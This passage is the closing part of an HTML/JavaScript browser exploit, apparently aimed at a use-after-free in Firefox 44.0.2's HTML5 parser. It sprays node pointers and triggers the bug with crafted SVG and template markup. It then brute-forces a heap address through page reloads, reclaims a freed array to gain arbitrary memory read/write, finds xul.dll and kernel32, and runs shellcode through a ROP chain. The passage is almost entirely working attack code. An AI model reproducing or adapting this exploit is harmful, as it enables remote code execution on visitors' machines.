    const query = href[1].split("=");
    if (query[0] === "style") {
    bruteforce = false;
    }
    addr = parseInt(query[1]);
    }
    nodes = spray.nodes(addr, bruteforce);
    
    /*
     * spray node pointers and trigger the bug
     */
    document.body.innerHTML = "<svg><img id='AAAA'>";
    const pointers = spray.pointers();
    document.getElementById("AAAA").innerHTML = "<title><template><td><tr><title><i></tr><style>td</style>";
    
    /*
     * on to the next run...
     */
    if (bruteforce === true) {
    const style = spray.findStyleAddr(nodes);
    nodes = null;
    if (style) {
    window.location = href[0] + "?style=" + style;
    } else {
    window.location = href[0] + "?continue=" + spray.getNextAddr(addr);
    }
    return;
    }
    
    /*
     * reallocate the freed Uint32Array
     */
    hijacked = spray.findArray(nodes, spray.arrays());
    
    /*
     * setup helpers
     */
    const rwx = new ReadWriteExecute(spray.nodeBase, nodes, hijacked);
    
    /* The first 4 bytes of the previously leaked [xul!nsHtml5Atoms::style]
     * contain the address of xul!PermanentAtomImpl::`vftable'.
     *
     * Note that the subtracted offset is specific to firefox 44.0.2.
     * However, since we can read arbitrary memory by this point, the
     * base of xul could easily (albeit perhaps somewhat slowly) be
     * located by searching for a PE signature */
    const xulBase = rwx.readDWord(addr) - 0x1c1f834;
    
    log("style found at 0x" + addr.toString(16));
    log("xul.dll found at 0x" + xulBase.toString(16));
    
    const xulPE = new PortableExecutable(xulBase, rwx);
    xulPE.read();
    const rop = new ROPHelper(xulPE, rwx);
    const kernel32 = new KERNEL32(rop, xulPE, rwx);
    const kernel32handle = kernel32.GetModuleHandleA("kernel32.dll");
    const kernel32PE = new PortableExecutable(kernel32handle, rwx);
    kernel32PE.read();
    const ntdll = new NTDLL(rop, kernel32PE, rwx);
    const icuuc55 = new ICUUC55(rop, xulPE, rwx);
    
    /*
     * execute shellcode
     */
    const stack = ntdll.getStackLimit(kernel32.GetCurrentThread());
    const exec = icuuc55.alloc(stack, shellcode.length);
    const proc = xulPE.search("kernel32.dll", "GetProcAddress");
    rwx.writeString(exec, shellcode.join(""));
    rop.execute(exec, [kernel32handle, proc], true);
    };
    </script>
    </head>
    </html>